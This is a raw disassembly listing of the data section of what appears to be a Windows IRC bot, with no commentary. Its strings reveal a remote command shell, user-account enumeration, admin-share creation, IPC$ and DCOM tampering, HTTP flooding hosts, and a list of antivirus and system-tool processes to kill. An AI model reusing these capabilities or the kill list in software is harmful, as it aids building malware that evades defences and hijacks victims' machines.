aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_419443+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_419443+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_419443+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_419443+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_419443:loc_419562o
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_419443:loc_41955Bo
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_419443:loc_419554o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_419443+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_419443+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_419443+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo
		align 4
unk_439EA4	db  2Dh	; -		; DATA XREF: sub_41982C+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_41982C+BEo
		align 4
unk_439ED8	db  2Dh	; -		; DATA XREF: sub_41982C+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4199AC:loc_419A90o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4199AC+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4199AC:loc_419A57o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4199AC:loc_419A49o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4199AC:loc_419A0Fo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4199AC:loc_4199FBo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo
		align 10h
dword_43A1E0	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419AE0+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43A20C	db  2Dh	; -		; DATA XREF: sub_419AE0+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_43A238	dd offset aRegedit_exe	; DATA XREF: sub_419C09+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_43A340
		dd offset dword_43A334
		dd offset dword_43A328
		dd offset dword_43A31C
		dd offset dword_43A310
		dd offset dword_43A304
		dd offset dword_43A2F4
		dd offset dword_43A2E8
		dd offset dword_43A2DC
		dd offset dword_43A2D0
		dd offset dword_43A2C4
		dd offset dword_43A2B4
		dd offset dword_43A2A8
		dd offset dword_43A298
dword_43A298	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_419C09+ECo
					; ___:0043A294o
dword_43A2A8	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043A290o
dword_43A2B4	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:0043A28Co
dword_43A2C4	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:0043A288o
dword_43A2D0	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043A284o
dword_43A2DC	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043A280o
dword_43A2E8	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043A27Co
dword_43A2F4	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:0043A278o
dword_43A304	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:0043A274o
dword_43A310	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:0043A270o
dword_43A31C	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:0043A26Co
dword_43A328	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:0043A268o
dword_43A334	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:0043A264o
dword_43A340	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:0043A260o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043A25Co
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043A258o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:0043A254o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:0043A250o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:0043A24Co
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:0043A248o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:0043A244o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:0043A240o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:0043A23Co
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_43A238o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_419C09+191o
		align 10h
unk_43A3F0	db  2Dh	; -		; DATA XREF: sub_419E38:loc_419EBFo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43A414	db  2Dh	; -		; DATA XREF: sub_419E38+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_43A438	db  2Dh	; -		; DATA XREF: sub_419E38+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o
unk_43A468	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A18Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A498	db  2Dh	; -		; DATA XREF: sub_41A05C+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
unk_43A4C0	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A142o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
unk_43A4F0	db  2Dh	; -		; DATA XREF: sub_41A1B1+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A524	db  2Dh	; -		; DATA XREF: sub_41A1B1+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
off_43A548	dd offset dword_43A580	; DATA XREF: sub_41A3C6+1B3o
					; sub_41A6EA+17Ao
		align 10h
		dd offset dword_43A578
		align 8
off_43A558	dd offset dword_43A574	; DATA XREF: sub_41A6EA+1E3o
		dd offset off_43A570
		dd offset dword_43A56C
		dd offset off_43A568
off_43A568	dd offset dword_5C3A44	; DATA XREF: sub_41A3C6+217o
					; ___:0043A564o
dword_43A56C	dd 2444h		; DATA XREF: ___:0043A560o
off_43A570	dd offset byte_5C3A43	; DATA XREF: ___:0043A55Co
dword_43A574	dd 2443h		; DATA XREF: ___:off_43A558o
dword_43A578	dd 494D4441h, 244Eh	; DATA XREF: ___:0043A550o
dword_43A580	dd 24435049h, 0		; DATA XREF: ___:off_43A548o
dword_43A588	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2E5o
					; sub_41A6EA+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A5B8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 10h
dword_43A5E0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A628o
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A60C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_43A630	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A595o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A65C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_43A680	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F8o
					; sub_41A6EA:loc_41A818o
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A6B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F1o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A6EC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4D3o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_43A720	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo
					; sub_41A6EA+EDo
		align 10h
dword_43A770	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+91o
					; sub_41A6EA+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A7A0	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41A3C6:loc_41A433o
		dd 62617369h, 2E64656Ch, 0
dword_43A7C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41A3C6+54o
					; sub_41A6EA+54o
		align 10h
dword_43A7F0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_1		db '%c:\',0             ; DATA XREF: sub_41A6EA+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_41A6EA+219o
dword_43A820	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A889o
					; sub_41A6EA:loc_41A95Ao
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A848	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+198o
					; sub_41A6EA+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A868	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A811o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A8A4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A7F3o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A8DC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A91C	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A6EA:loc_41A757o
		dd 6C62616Eh, 2E6465h
dword_43A938	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dword_43A990	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41ABFB+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41ABFB+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41ABFB+B6o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41ABFB+AFo
		align 10h
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41ABFB+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41ABFB+8Co
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41ABFB+85o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41ABFB+7Eo
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41ABFB+77o
		align 10h
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41ABFB+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41ABFB+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41ABFB+5Bo
		align 10h
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41ABFB+4Do
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41ABFB+46o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41ABFB+3Fo
		align 10h
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41ABFB+38o
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41ABFB+31o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41ABFB+2Ao
		align 10h
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41ABFB+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41ABFB+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41ABFB+15o
dword_43AB9C	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AF8F+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43AC78	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AF8F+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o
		align 4
dword_43AC9C	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41B243+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43ACE0	dd offset loc_412F4E	; DATA XREF: sub_41B243:loc_41B2AFo
off_43ACE4	dd offset dword_4E414C	; DATA XREF: sub_41B243:loc_41B2A5o
dword_43ACE8	dd 6C616944h, 70752Dh	; DATA XREF: sub_41B243+5Bo
dword_43ACF0	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41B243+48o
unk_43AD00	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4BBo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 10h
unk_43AD30	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4B4o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43AD5C	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41B302+1A0o
		dd 4C525520h, 2Eh
unk_43AD78	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B495o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43ADB4	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41B302+18Co
		dd 64657469h, 2Eh
dword_43ADD0	dd 2A2F2Ah		; DATA XREF: sub_41B302+3Bo
word_43ADD4	dw 4			; DATA XREF: sub_41B55B+10r
		align 4
dword_43ADD8	dd 6325h		; DATA XREF: ___:0041B89Co
dword_43ADDC	dd 0DFFh		; DATA XREF: ___:0041B6EAo
dword_43ADE0	dd 51FFh		; DATA XREF: ___:0041B6DFo
dword_43ADE4	dd 0EBFFh		; DATA XREF: ___:0041B6D4o
dword_43ADE8	dd 201h			; DATA XREF: ___:0041B6BFo
dword_43ADEC	dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: ___:0041B6ADo
dword_43AE00	dd 5196FCC4h		; DATA XREF: sub_41C2B8+4w sub_41C2C2r ...
		align 10h
dword_43AE10	dd 173Fh		; DATA XREF: sub_41D055+Dr
		dd 9875h, 9873h
off_43AE1C	dd offset sub_41D124	; DATA XREF: ___:0041C164r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43AE28	dd 1B3Fh		; DATA XREF: sub_41D19B+Dr
dword_43AE2C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41D61D+2o
					; sub_41D626+2o
off_43AE40	dd offset sub_41C1A2	; DATA XREF: sub_41E2C9+1Cr
dword_43AE44	dd 2			; DATA XREF: sub_423D98+Er
					; sub_423DD1+46r ...
		dd 10h,	0
off_43AE50	dd offset off_43AE50	; DATA XREF: sub_41F216+Do
					; sub_41F216+69o ...
off_43AE54	dd offset off_43AE50	; DATA XREF: sub_41F216:loc_41F296r
					; sub_41F216+89w ...
		dd offset dword_43AE68
		dd offset dword_43AE68
dword_43AE60	dd 0FFFFFFFFh		; DATA XREF: sub_41F216r
					; sub_41F35A:loc_41F3A7w
		dd 0FFFFFFFFh
dword_43AE68	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043AE58o
					; ___:0043AE5Co
off_43CE70	dd offset off_43AE50	; DATA XREF: sub_41F35A+15r
					; sub_41F35A+20w ...
dword_43CE74	dd 1E0h			; DATA XREF: sub_41BBE2+185r
					; sub_41BEF3:loc_41BF2Fr ...
off_43CE78	dd offset word_43CE82	; DATA XREF: sub_41C0CE+23r
					; sub_41C0CE:loc_41C12Fr ...
off_43CE7C	dd offset word_43CE82	; DATA XREF: sub_42686F+18r
		db 2 dup(0)
word_43CE82	dw 20h			; DATA XREF: sub_424FF8+18r
					; ___:off_43CE78o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43D084	dd 1			; DATA XREF: sub_41C0CE:loc_41C0D6r
					; sub_41C0CE:loc_41C11Ar ...
byte_43D088	db 2Eh			; DATA XREF: sub_420DB0:loc_4210A4r
					; sub_420DB0+311r ...
		align 4
		dd 1
off_43D090	dd offset aNull_0	; DATA XREF: sub_41FF3F:loc_4202A3r
					; sub_41FF3F+457r
					; "(null)"
off_43D094	dd offset aNull		; DATA XREF: sub_41FF3F+259r
					; "(null)"
byte_43D098	db 1			; DATA XREF: sub_420749+E1r
		db 2, 4, 8
		align 10h
dword_43D0A0	dd 3A4h			; DATA XREF: sub_420749+2Fo
dword_43D0A4	dd 82798260h, 21h, 0	; DATA XREF: sub_420749+11Dr
dword_43D0B0	dd 0DFA6h		; DATA XREF: sub_420749+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43D190	dd 1			; DATA XREF: sub_420749+3Co
					; sub_420C7F+Co
dword_43D194	dd 16h			; DATA XREF: sub_420C7F:loc_420CB4r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43D2F8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_420C7F+19o
					; sub_420DB0:loc_421317o
dword_43D300	dd 5Dh,	0		; DATA XREF: sub_420DB0:loc_421207o
dword_43D308	dd 14h			; DATA XREF: sub_421EC4+2o
off_43D30C	dd offset aExp		; DATA XREF: sub_421EC4:loc_421EE1r
					; "exp"
		dd 1Dh,	427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h
		dd 13h,	427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h
		dd 0Fh,	427820h, 10h, 427818h, 5, 427810h, 1Eh,	42780Ch
		dd 12h,	427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h
		dd 15h,	4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h
		dd 18h,	4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h
		dd 23h,	4277B4h, 24h, 4277B0h
dbl_43D3E0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+B7r
					; sub_421BFF:loc_421CE6r ...
		dd 0
		dd 0FFF80000h
dbl_43D3F0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+92r
					; sub_421BFF:loc_421CBEr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43D408	dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr
					; sub_4220AC+1Fr
		align 4
tbyte_43D414	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r
		align 10h
off_43D420	dd offset sub_422540	; DATA XREF: sub_41D13C+Fw
					; sub_41FF3F+3AAr
off_43D424	dd offset sub_4221D5	; DATA XREF: sub_41D13C+5w
					; sub_41FF3F+3E2r
off_43D428	dd offset sub_42223B	; DATA XREF: sub_41D13C+14w
					; sub_420DB0+430r
off_43D42C	dd offset sub_42217B	; DATA XREF: sub_41D13C+1Ew
					; sub_41FF3F+3CBr
off_43D430	dd offset sub_422223	; DATA XREF: sub_41D13C+28w
off_43D434	dd offset sub_422540	; DATA XREF: sub_41D13C+32w
		dd offset sub_424F1C
		align 10h
		dd offset sub_422DFC
off_43D444	dd offset sub_422DFC	; DATA XREF: sub_422E52+29r
dword_43D448	dd 0C0000005h		; DATA XREF: sub_423638+Ar
					; sub_423638+11o ...
dword_43D44C	dd 0Bh			; DATA XREF: sub_425D33+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D4C0	dd 3			; DATA XREF: ___:0042354Fr
					; sub_425C06+C8r
dword_43D4C4	dd 7			; DATA XREF: ___:00423555r
					; sub_425C06+CDr
